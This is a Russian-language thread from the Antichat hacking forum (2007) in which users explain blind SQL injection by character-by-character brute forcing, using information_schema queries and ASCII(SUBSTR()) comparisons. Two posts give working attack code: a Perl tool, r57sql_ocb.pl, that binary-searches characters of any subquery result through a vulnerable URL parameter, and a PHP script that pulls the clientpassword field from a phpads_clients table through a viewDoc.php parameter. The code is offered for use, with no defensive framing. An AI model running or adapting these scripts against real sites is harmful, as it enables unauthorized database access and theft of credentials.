Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Посимвольный перебор в бд |

21.01.2007, 06:00
|
|
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме: 3536885
Репутация:
447
|
|
Посимвольный перебор в бд
Вот прочитал статью и ни как не могу понять, получается что название колонок,таблиц,бд нельзя таким способом подобрать  Тоесть этот метод используется, если уже известны название, но не осуществляется вывод данных полученных из запроса? 
|
|
|

21.01.2007, 11:01
|
|
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме: 3887520
Репутация:
2996
|
|
да
|
|
|

21.01.2007, 14:25
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
[cash], не совсем.
БД: database()
колонки и таблицы можно, если версия mysql >= 5.0:
таблицы: select table_name from information_schema.tables
колонки: select column_name from information_schema.columns where table_name='table'
|
|
|

21.01.2007, 15:54
|
|
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме: 3536885
Репутация:
447
|
|
Сообщение от _Great_
[cash], не совсем.
БД: database()
колонки и таблицы можно, если версия mysql >= 5.0:
таблицы: select table_name from information_schema.tables
колонки: select column_name from information_schema.columns where table_name='table'
тогда получается это уже не посимвольный перебор  тоесть название колонок,таблиц существующих будет выводиться в сообщениях об ошибках?
|
|
|

21.01.2007, 16:20
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
Провел на форуме: 5339610
Репутация:
4360
|
|
нет, я про посимвольный перебор
он ведь организуется через
ASCII(SUBSTR(строка, индекс, 1)) > число
в качестве строки для перебора будет подзапрос - (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES LIMIT 0,1), например.
Ну или через UNION. Врубил?
|
|
|

21.01.2007, 16:45
|
|
Постоянный
Регистрация: 20.01.2006
Сообщений: 302
Провел на форуме: 3536885
Репутация:
447
|
|
все, теперь ясно надо подкрепить материал на практике  Спасибо _Great_
|
|
|

24.01.2007, 15:28
|
|
Познающий
Регистрация: 31.08.2006
Сообщений: 67
Провел на форуме: 377085
Репутация:
18
|
|
У меня был скрипт который перебирал буквы логина или пасса... Задал номер символа в логине или пассе и он перебирает.
|
|
|

24.01.2007, 16:48
|
|
Познающий
Регистрация: 16.01.2007
Сообщений: 37
Провел на форуме: 164161
Репутация:
20
|
|
У меня был скрипт который перебирал буквы логина или пасса... Задал номер символа в логине или пассе и он перебираетъ
r57_sql_ocb.pl кажетсо, вот код
Код:
#!/usr/bin/perl
# r57sql_ocb.pl
# sql-databases one char bruteforce tool
use LWP::UserAgent;
$path = $ARGV[0]; # запрос с уязвимому скрипту с параметром
$query = $ARGV[1]; # запрос к БД (подзапрос) результат которого будет вставлен в функцию substring()
$s_num = $ARGV[2]; # позиция символа который перебираем
$string = $ARGV[3]; # строка в ответе сервера по наличию которой судим о успешном выполнении запроса к БД
if (@ARGV < 4) { &usage; }
# диапазон символов для перебора
$min = $ARGV[4] || 97; # a
$max = $ARGV[5] || 122; # z
&found($min,$max);
# подпрограмма уменьшения диапазона символов
sub found($$)
{
my $fmin = $_[0];
my $fmax = $_[1];
# если диапазон менее 5 символов то переходим к перебору
if (($fmax-$fmin)<5) { &crack($fmin,$fmax); }
# иначе находим середину диапазона
print "-> Try $fmin .. $fmax -> ";
$r = int($fmax - ($fmax-$fmin)/2);
$check = ">$r";
# проверяем ответ скрипта и в зависимости от возвращенного результата
# рекурсивно вызываем функцию с новым диапазоном (уже уменьшенным в 2 раза)
if ( &check($check) ) { print "Char > $r\r\n"; &found($r,$fmax); }
else { print "Char < $r\r\n"; &found($fmin,$r+1); }
}
# подпрограмма поиска перебором
sub crack($$)
{
my $cmin = $_[0];
my $cmax = $_[1];
$i = $cmin;
# проходим циклом по диапазону
while ($i<$cmax)
{
$crcheck = "=$i";
print "-> Try $i ->";
# проверяем ответ скрипта, если ответ положительный то выводим символ и выходим
if ( &check($crcheck) ) { print " FOUND!\r\n-> Ascii: $i\r\n-> Char: ".chr($i); exit(); }
else { print " NO =(\r\n"; }
$i++;
}
print "NOT FOUND"; exit();
}
# подпрограмма проверки результата запроса
sub check($)
{
$ccheck = $_[0];
# формируем запрос к скрипту
$http_query = $path." AND ascii(lower(substring(".$query.",".$s_num.",1)))".$ccheck;
# отправляем запрос
$mcb_reguest = LWP::UserAgent->new() or die;
$res = $mcb_reguest->post($http_query);
# получаем ответ сервера
@results = $res->content;
foreach $result(@results)
{
# ищем в ответе скрипта строку совпадающую с нашим условием
if ($result =~ /$string/) { return 1; }
}
return 0;
}
sub usage
{
print "Usage: $0 [path_to_script?param] [DB_query] [symbol_position] [return_string] [brute_min_char] [brute_max_char]\r\n";
print "e.g. : $0 http://server.com/users.php?id=1 \"user()\" 1 \"Found: 3\" 48 57";
exit();
}
|
|
|

24.01.2007, 21:14
|
|
Познающий
Регистрация: 31.08.2006
Сообщений: 67
Провел на форуме: 377085
Репутация:
18
|
|
PHP код:
<?
$sp=$_GET["sp"];
$type="num";
$hash="";
$s="http://host.com/include/viewDoc.php?docid=1+AND+ascii(lower(substring((SELECT+clientpassword+from+phpads_clients+LIMIT+1),$sp,1)))<58";
$f=fopen($s,r);
$get=fread($f,200);
fclose($f);
if ($get!="")
$type="num";
else
$type="char";
switch ($type){
case "num":
$start=48;
$fin=58;
break;
case "char":
$start=92;
$fin=103;
break;
}
for ($i=$start;$i<$fin;$i++){
$s="http://host.com/include/viewDoc.php?docid=1+AND+ascii(lower(substring((SELECT+clientpassword+from+phpads_clients+LIMIT+1),$sp,1)))=$i";
$f=fopen($s,r);
$get=fread($f,200);
fclose($f);
if ($get!=""){
$hash=chr($i);
break;
}
}
echo $hash;
?>
Вот нашел. Вроде он. 
P.S. если мона плюсик.
Последний раз редактировалось Nekt; 25.01.2007 в 01:55..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|